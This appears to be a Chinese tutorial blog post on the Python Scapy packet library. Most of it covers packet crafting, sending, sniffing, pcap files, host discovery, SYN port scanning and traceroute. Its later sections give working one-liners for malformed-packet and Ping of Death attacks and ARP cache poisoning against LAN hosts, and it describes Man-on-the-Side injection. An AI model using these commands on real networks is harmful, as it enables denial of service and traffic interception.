0%

我们可以拿 scapy 做什么

记得当初学习计算机网络的时候,在机房用得比较多的是老旧的 sniffer,自己动手的时候用的比较多的是 wireshark。后面做 Web 开发的时候,用 Fiddler 比较顺手,也比较轻便,满足日常开发的需求。当然熟练的话也可以直接用 tcpdump 之类的工具。后面在用 Python 做安全方面的内容的时候,发现了 Scapy 这么一个强大的嗅探库(不是爬虫框架 Scrapy),支持 Py2 和 Py3,而且在 QPython 上也集成了。这个还真的是利器啊!

什么是 Scapy

Scapy 官网 上一开始就是对着自家的程序一通吹,如“强大的交互式包操作工具”、“支持大量协议的包解析和包构造”、“轻松取代 hping,85% 的 nmap,arpspoof,tcpdump 等等”。不过归根到底,它说的强大功能,都是基于 Scapy 是一个强大的网络数据包操作工具才能实现得了的。

安装 Scapy

Scapy 有 1.2 和 2.x 两种版本,前者据文档介绍已经是弃用状态了。因为这个库比较依赖 *nix 系统的 libpcap、libdnet 等库,因此在 Linux、BSD、Mac OS X 上可以简单的使用 pip install scapy 就能安装 Scapy(当然文档还会说明如何从 git 上获取最新版本的 Scapy)。对于 Windows 系统,会稍微麻烦一点,要先安装最新版的 Npcap,当然在 Winpcap 下也是可以运行的(这个如果你装过 Fiddler 按推荐步骤应该是连带安装了的,不过需要注意),然后也是一样通过 pip 工具安装 Scapy。

安装完成后,在 Python 交互式界面输入:

1
>>> from scapy.all import *

没有报错,证明安装成功(v1.2 版本使用 from scapy import *

Scapy 也是可以直接运行的,安装成功后在命令行或 shell 运行 scapy 会进入到 Scapy 的交互式界面。前面部分信息会提示当前环境不可以使用什么功能,如希望使用 plot 需要 matplotlib,使用 psdumppdfdump 需要 PyX 等。

Scapy 使用基础

构造数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>> from scapy.all import *
>>> ip_package = IP(dst='www.163.com', ttl=80)
>>> ip_package.src
'10.0.3.173'
>>> ip_package.dst
Net('www.163.com')
>>> ip_package.ttl
80
# 显示 raw layer
>>> raw_package = raw(ip_package)
>>> raw_package
b'E\x00\x00\x14\x00\x01\x00\x00P\x00\x19\x92\n\x00\x03\xad}Y\xc6Q'
# 显示以太网信息
>>> ether = Ether(raw_pacakge)
>>> ether
<Ether dst=45:00:00:14:00:01 src=00:00:50:00:19:92 type=0xa00 |<Raw load='\x03\xad}Y\xc6Q' |>>

如上所示,我们构造了一个目标地址为 163.com 的,生存周期为 80 的一个 IP 数据包,并打印出其信息

除了 IP 协议,Scapy 还支持多种协议类型的包数据,而且这些包的数据还可以通过 / 来进行组合,下层可以根据上层重载他的一个或多个默认字段。组合的层次顺序参照 OSI 标准模型,如:

1
2
3
>>> package = IP(dst='www.163.com')/TCP(dport=80)/"GET / HTTP/1.1\r\n\r\n"
>>> package
<IP frag=0 proto=tcp dst=Net('www.163.com') |<TCP dport=http |<Raw load='GET / HTTP/1.1\r\n\r\n' |>>>

这里组合了 IP 层、TCP 层以及 HTTP 层级的包(HTTP 报头 约定以 \r\n\r\n 结尾)。

构造多个数据包

上面我们仅仅是构造了一个数据包,那么如何用 Scapy 构造多个数据报呢?对于包数据(甚至是每一层)的每个字段都可以赋值集合,显式指定集合可以生成对应的每一个字段元素对应的包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 指定掩码
>>> a=IP(dst="www.slashdot.org/30")
>>> a
<IP dst=Net('www.slashdot.org/30') |>
>>> [p for p in a]
[<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,
<IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]
# 指定生命周期
>>> b=IP(ttl=[1,2,(5,9)])
>>> b
<IP ttl=[1, 2, (5, 9)] |>
>>> [p for p in b]
[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,
<IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]
# 指定目标端口
>>> c=TCP(dport=[80,443])
>>> [p for p in a/c]
[<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,
<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,
<IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,
<IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,
<IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,
<IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,
<IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,
<IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]

fuzz() 函数

函数 fuzz 可以根据模板快速构造数据包,同时会保证其他参数是正确的,文档的例子:

1
>>> IP(dst="www.bing.com")/fuzz(UDP()/NTP(version=4))

在这个包里面,IP 层是指定了 dst(注意 fuzz 对于 IP 层也可以使用,但是 src 和 dst 不能是随机的必须指定),而 UDP 和 NTP 层是 fuzz 的。因此这个包在 IP 层之上除了检验和以及 UDP 端口为 123(NTP 协议规定)之外,其他的字段都是随机的。

批量操作数据包

Scapy 也提供了一些方法来操作一组数据包,如下表所示:

方法 说明
summary() 显式每一个数据包的摘要列表
nsummary() 同上,可以指定数据包的数量
filter() 返回一个 lambda 过滤后的数据包列表
hexdump() 以 hexdump 的形式显示全部数据包
hexraw() 以 hexdump 的形式显示全部数据包的 Raw Layer
padding() 以填充 hexdump 的形式返回全部数据包
nzpadding() 以非零填充 hexdump 的形式返回全部数据包

发送数据包

Scapy 提供了两个函数来发送数据包:send() 以及 sendp()send() 作用于第三层也就是网络层,也就是说它会帮你处理掉路由以及下面两层(即物理层和链路层)。当然你可以使用 sendp() 作用于第二层,这需要你指定恰当的 interface 以及恰当的链路协议。当指定管关键字参数 return_packetsTrue 是会返回发送的包列表。

1
2
3
4
5
6
7
8
>>> send(IP(dst="www.baidu.com")/TCP(dport=80), return_packets=True)
.
Sent 1 packets.
<PacketList: TCP:1 UDP:0 ICMP:0 Other:0>
# 注意 Window 因为用了 Npcap 作为中间组件,所以基本上指定的 iface 都是 Npcap Loopback Adapter
>>> sendp("Hello World", iface="Npcap Loopback Adapter", loop=1, inter=0.2)
............................................................................................................
Sent 40 packets.

发送并接收数据包(sr

sr 函数负责发送数据包并接收应答,返回值是一对数据包以及其应答,还包括没有被应答的数据包,所以一共有两个列表。

sr1 函数是上面的一个变种,只返回一个应答数据包列表。这些发送的数据包必须位于第三层之上(IP、ARP 等等)。

srp 函数和 sr 类似,但是作用于第二层之上(Ethernet, 802.3 等等),如果没有任何相应,则当到达超时时间的时候将得到一个 None 的值。

1
2
3
4
5
6
7
8
9
10
# 给 baidu.com 发送 tcp 报文
>>> ans, unans = sr(IP(dst="www.baidu.com")/TCP(dport=[80, 443]),inter=0.5,retry=-2,timeout=1)
Begin emission:
.*.........*Finished sending 2 packets.

Received 12 packets, got 2 answers, remaining 0 packets
>>> ans
<Results: TCP:2 UDP:0 ICMP:0 Other:0>
>>> unans
<Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>

导出导入 PCAP 文件

Scapy 可以读取 pcap 文件以及往 pcap 文件写入包数据

1
2
3
4
5
>>> a = rdpcap("/spare/captures/isakmp.cap")
>>> a
<isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>
# 或者
>>> a = sniff(offline="isakmp.cap")
1
>>> wrpcap("temp.cap", pkts)

使用 Scapy 进行嗅探

使用 Scapy 进行嗅探操作,最核心的函数即是 sniff。它有一些常用的入参,如下表所示:

参数 说明
count 需要捕获的包的个数,0 代表无限
store 是否需要存储捕获到的包
filter 指定嗅探规则过滤,遵循 BPF (伯克利封包过滤器)
timeout 指定超时时间
iface 指定嗅探的网络接口或网络接口列表,默认为 None,即在所有网络接口上嗅探
prn 传入一个可调用对象,将会应用到每个捕获到的数据包上,如果有返回值,那么它不会显示
offline 从 pcap 文件读取包数据而不是通过嗅探的方式获得
1
2
3
4
5
6
7
8
# 嗅探实例
>>> sniff(filter="tcp and port 80 and target www.acfun.cn", count=3)
<Sniffed: TCP:3 UDP:0 ICMP:0 Other:0>
>>> a = _
>>> a.nsummary()
0000 Ether / IP / TCP 10.0.3.173:62061 > 202.105.176.96:https A / Raw
0001 Ether / IP / TCP 202.105.176.96:https > 10.0.3.173:62061 A
0002 Ether / IP / TCP 10.0.3.173:57087 > 59.110.88.58:https PA / Raw

Scapy 使用实例

获取本机 IP 信息

一般网上给出的都是 socket 的方式,先获取计算机名,再根据计算机名获取 host 地址(即 IP 地址),现在使用 Scapy 可以直接构造 IP 数据包并获取其 src 的方式得到:

1
2
>>> a = IP(dst="www.baidu.com")
>>> a.src

至于在 Windows 上需要知道自己具体的网卡信息以填入 iface 中,因此可以使用 show_interfaces() 函数获得。更多的内置函数可以通过 lsc() 函数查看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
>>> lsc()

IPID_count : Identify IP id values classes in a list of packets
arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple
arping : Send ARP who-has requests to determine which hosts are up
bind_layers : Bind 2 layers on some specific fields' values
bridge_and_sniff : Forward traffic between interfaces if1 and if2, sniff and return
chexdump : Build a per byte hexadecimal representation
computeNIGroupAddr : Compute the NI group Address. Can take a FQDN as input parameter
corrupt_bits : Flip a given percentage or number of bits from a string
corrupt_bytes : Corrupt a given percentage or number of bytes from a string
defrag : defrag(plist) -> ([not fragmented], [defragmented],
defragment : defrag(plist) -> plist defragmented as much as possible
dhcp_request : --
dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_del : Send a DNS delete message to a nameserver for "name"
etherleak : Exploit Etherleak flaw
fletcher16_checkbytes: Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string.
fletcher16_checksum : Calculates Fletcher-16 checksum of the given buffer.
fragleak : --
fragleak2 : --
fragment : Fragment a big IP datagram
fuzz : Transform a layer into a fuzzy layer by replacing some default values by random objects
getmacbyip : Return MAC address corresponding to a given IP address
getmacbyip6 : Returns the MAC address corresponding to an IPv6 address
hexdiff : Show differences between 2 binary strings
hexdump : Build a tcpdump like hexadecimal view
hexedit : --
hexstr : --
import_hexcap : --
is_promisc : Try to guess if target is in Promisc mode. The target is provided by its ip.
linehexdump : Build an equivalent view of hexdump() on a single line
ls : List available layers, or infos on a given layer class or name
neighsol : Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr
...

ARP 主机发现

使用 ARP Ping 是在本地以太网内发现主机的最快的方法:

1
2
3
4
>>> ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="10.0.3.0/24"), timeout=2)

# 也可以使用内置的 arp ping 方法
>>> arping("10.0.3.*")

基于 TCP 的端口扫描

给每个端口发送 TCP SYN 包,如果收到 SYN-ACK 包或 TCP RST 复位包或者 ICMP 错误,证明端口存在。

1
2
3
>>> res, unans = sr( IP(dst="10.0.3.171")/TCP(flags="S", dport=(1,1024)) )
# 查看结果
>>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP))

Scapy 文档后面也提到过了对于一些防火墙会把没有 TCP 时间戳的包丢弃,所以我们需要加上其他选项

1
>>> res, unans = sr( IP(dst="10.0.3.171")/TCP(flags="S", options=[('Timestamp', (0, 0))], dport=(1,1024)) )

TCP 路由跟踪(TCP traceroute)

我们可以自行通过 sr 发送构造的 TCP 数据包来做 TCP 路由跟踪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
>>> ans, unans = sr(IP(dst="www.baidu.com", ttl=(4, 25), id=RandShort())/TCP(flags=0x2))
Begin emission:
..Finished sending 22 packets.
.....*...*.......*.**..***..*.**.******.........
Received 50 packets, got 17 answers, remaining 5 packets
>>> for snd, rcv in ans:
... print(snd.ttl, rcv.src, isinstance(rcv.payload, TCP))
...
4 183.56.31.29 False
5 59.37.176.153 False
6 14.215.177.39 True
7 14.215.177.39 True
8 113.96.4.106 False
9 14.215.177.39 True
...
20 14.215.177.39 True
>>>

实际上 TCP Traceroute 已经提供了一个单独的函数来实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
>>> traceroute("www.baidu.com")
Begin emission:
Finished sending 30 packets.
**********************
Received 22 packets, got 22 answers, remaining 8 packets
14.215.177.39:tcp80
2 10.1.1.1 11
3 183.56.30.209 11
7 113.96.4.102 11
12 14.215.177.39 SA
...
30 14.215.177.39 SA
(<Traceroute: TCP:19 UDP:0 ICMP:3 Other:0>, <Unanswered: TCP:8 UDP:0 ICMP:0 Other:0>)

DNS 跟踪

出自 Scapy 的文档说明,直接在 traceroute 函数设置 l4 参数作为一个完整的数据包来实现:

1
2
3
4
5
6
7
8
9
10
11
12
>>> ans, unans = traceroute("www.baidu.com", l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
Finished sending 30 packets.
..*.*...***..*..................................
Received 48 packets, got 6 answers, remaining 24 packets
14.215.177.38:udp53
2 10.1.1.1 11
3 183.56.30.209 11
4 183.56.31.29 11
5 59.37.176.153 11
6 183.56.34.33 11
7 113.96.4.78 11

畸形报文攻击

畸形报文攻击是通过向目标系统发送有缺陷的IP报文,使得目标系统在处理这样的 IP 包时会出现崩溃,给目标系统带来损失。主要的畸形报文攻击有 Ping of Death、Teardrop 等。如下所示生成一个畸形报文:

1
>>> send(IP(dst="10.0.3.234", ihl=2, version=3)/ICMP())

如下构造 Ping of Death:

1
>>> send(fragment(IP(dst="10.0.3.234")/ICMP()/("X"*60000)))

Ping of Death 俗称 “死拼”,其攻击原理是攻击者 A 向受害者 B 发送一些尺寸超大的 ICMP (Ping 命令使用的是 ICMP 报文)报文对其进行攻击(对于有些路由器或系统,在接收到一个这样的报文后,由于处理不当,会造成系统崩溃、死机或重启)。由于 IP 报文的最大长度是 216-1=65535 个字节,那么去除 IP 首部的 20 个字节和 ICMP 首部的 8 个字节,实际数据部分长度最大为:65535-20-8=65507 个字节。所谓的尺寸超大的 ICMP 报文就是指数据部分长度超过 65507 个字节的 ICMP 报文。而且由于 IP 报文会分片,单片报文一般不超过显示,实际上会到达目的机器后才会重组导致报文过大。

ARP Cache 投毒

ARP 协议的工作方式

ARP 协议负责通过 IP 地址找到 MAC 地址,在以太网中所使用的地址是 MAC 地址。它的工作方式如下:
一台机器 A 想知道拥有 10.0.2.105 这个 IP 地址的主机并进行通信,因此机器 A 向所在网段的所有机器发送过一个广播包,询问谁的 IP 是 “10.0.2.105”。正常情况下其他机器会忽略这个消息,只有 10.0.2.105 IP 的主机会响应,返回自己的 MAC 地址。然后机器 A 把对应的 IP 地址和 MAC 地址缓存到 ARP 缓存表,下次直接查询这个表而不发送 ARP 请求(Windows 下 ARP 缓存表可以用 arp -a 查看)。

如何实现

ARP 缓存投毒,又称作 ARP 欺骗,是非常常用的一种攻击手段,一般用在中间人攻击里面,将攻击方伪装成网关(即网关的 IP 地址对应攻击方的 MAC 地址)。使用 Scapy 可以简洁地实现 ARP Cache 投毒。

1
2
3
4
5
6
7
8
9
10
# 先获取任意已知主机的 MAC 地址
>>> mac = ARP(pdst="10.0.3.1") # 或 getmacbyip("10.0.3.1")
>>> mac.hwsrc # 0c:da:41:61:f3:67
>>> mac1 = sr1(ARP(pdst="10.0.3.234")) # 或 getmacbyip("10.0.3.234")
>>> mac1.hwsrc # 94:65:2d:2a:10:ad
# 本机的 MAC 地址可以查看 ipconfig 得到:68:ec:c5:ce:21:fb
# 欺骗 10.0.3.234 主机,误以为本机(10.0.3.173)是网关(10.0.3.1)
>>> sendp(Ether(dst="94:65:2d:2a:10:ad")/ARP(op="is-at", psrc="10.0.3.1", pdst="10.0.3.234"), inter=RandNum(10, 40), loop=1) # op is-at 代表 arp 应答包, who-has 代表 arp 请求包
# 欺骗网关 10.0.3.1,误以为本机(10.0.3.173)才是 10.0.3.234 主机
>>> srploop(Ether(dst="0c:da:41:61:f3:67")/ARP(op=2, psrc="10.0.3.234", hwsrc="68:ec:c5:ce:21:fb", pdst="10.0.3.1"))

实际上 Scapy 也提供了封装好的方法来实现 ARP 缓存投毒:

1
2
3
# 效果和上述例子一样
>>> arpcachepoison("10.0.3.234","10.0.3.1", interval=2)
# 分别指定投毒的目标地址 target,还有要伪装的地址 victim,以及发送的间隔时间

MOTS 攻击

FreeBuf 里有关于 MOTS(Man-on-the-Side)的具体介绍,在这里仅简述一下信息:

Man-on-the-side 攻击是攻击者监听通信信道利用时间差注入新数据。它有两个特征:

  • 攻击者能够读取流量信息并插入新消息,但是不会修改或删除通信方发送的消息。
  • 当受害者发出请求时,攻击者利用时间优势让自己发送的响应先于合法的响应到达受害者。

这些在 MOTS 中注入的数据包之所以难以被检测,因为除了应用层的数据之外,一般都会带有 TCP FIN 标志位,客户端(受害者)得到这个数据包的时候,除了解析应用层的数据外,还会关闭 TCP 套接字并返回 FIN+ACK 作为应答,这样实际的包到达的时候会发现 TCP 套接字早就被关闭了。